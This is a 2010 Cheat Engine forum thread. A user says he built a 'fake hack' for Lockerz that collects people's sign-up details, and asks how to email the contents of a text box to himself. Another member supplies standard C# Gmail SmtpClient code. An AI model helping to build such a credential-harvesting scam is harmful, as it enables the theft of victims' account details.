 |
Cheat Engine The Official Site of Cheat Engine
|
| View previous topic :: View next topic |
| Author |
Message |
Benji Random spam moderator
Reputation: 4
Joined: 31 Dec 2007 Posts: 61 Location: The Netherlands
|
Posted: Sat Jan 23, 2010 9:42 am Post subject: Question - How do I send an e-mail using C#? |
|
|
I just made a fake hack for Lockerz. You need to enter your e-mail and sign up blahblahblah. Now my question is; how do you make it send an e-mail that sends the content of a TextBox to my e-mail?
I'll +rep the golden answer.
EDIT:
I attached a screenshot of my 'hack'.
Also, could you please keep it simple, I'm still a total noob at C#.
_________________
|
|
| Back to top |
|
 |
Odecey Master Cheater
Reputation: 1
Joined: 19 Apr 2007 Posts: 259 Location: Scandinavia
|
Posted: Sat Jan 23, 2010 11:32 am Post subject: |
|
|
This is an extensively covered subject which you would have found an answer to very easily if you had searched for it. I know this because a simple search for "send email C# gmail" gave me this piece of code:
| Code: |
using System.Net.Mail;
using System.Net;
var fromAddress = new MailAddress("[email protected]", "From Name");
var toAddress = new MailAddress("[email protected]", "To Name");
const string fromPassword = "password";
const string subject = "test";
const string body = "Hey now!!";
var smtp = new SmtpClient
{
Host = "smtp.gmail.com",
Port = 587,
EnableSsl = true,
DeliveryMethod = SmtpDeliveryMethod.Network,
Credentials = new NetworkCredential(fromAddress.Address, fromPassword),
Timeout = 20000
};
using (var message = new MailMessage(fromAddress, toAddress)
{
Subject = subject,
Body = body
})
{
smtp.Send(message);
}
|
If you are looking for more information related to emails in .NET, this site seems like a good place to start.
_________________
Never confuse activity with productivity. You can be busy without a purpose, but what's the point?- Rick Warren |
|
| Back to top |
|
 |
Benji Random spam moderator
Reputation: 4
Joined: 31 Dec 2007 Posts: 61 Location: The Netherlands
|
Posted: Sat Jan 23, 2010 2:02 pm Post subject: |
|
|
| Odecey wrote: | This is an extensively covered subject which you would have found an answer to very easily if you had searched for it. I know this because a simple search for "send email C# gmail" gave me this piece of code:
| Code: |
using System.Net.Mail;
using System.Net;
var fromAddress = new MailAddress("[email protected]", "From Name");
var toAddress = new MailAddress("[email protected]", "To Name");
const string fromPassword = "password";
const string subject = "test";
const string body = "Hey now!!";
var smtp = new SmtpClient
{
Host = "smtp.gmail.com",
Port = 587,
EnableSsl = true,
DeliveryMethod = SmtpDeliveryMethod.Network,
Credentials = new NetworkCredential(fromAddress.Address, fromPassword),
Timeout = 20000
};
using (var message = new MailMessage(fromAddress, toAddress)
{
Subject = subject,
Body = body
})
{
smtp.Send(message);
}
|
If you are looking for more information related to emails in .NET, this site seems like a good place to start. |
Alright, so I put it on my button and I tried it out. It worked and I got that body sent to my mail, but that's not what I wanted. I want it to send the content of textBox1 to my email. I already tried changing "const string body = "Hey now!!";" to "const string body = textBox1;" but now I get the error "Cannot implicitly convert type 'System.Windows.Forms.TextBox' to 'String'.
What now?
EDIT:
I got it.
Requesting lock.
_________________
|
|
| Back to top |
|
 |
|
|
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum You cannot attach files in this forum You can download files in this forum
|
|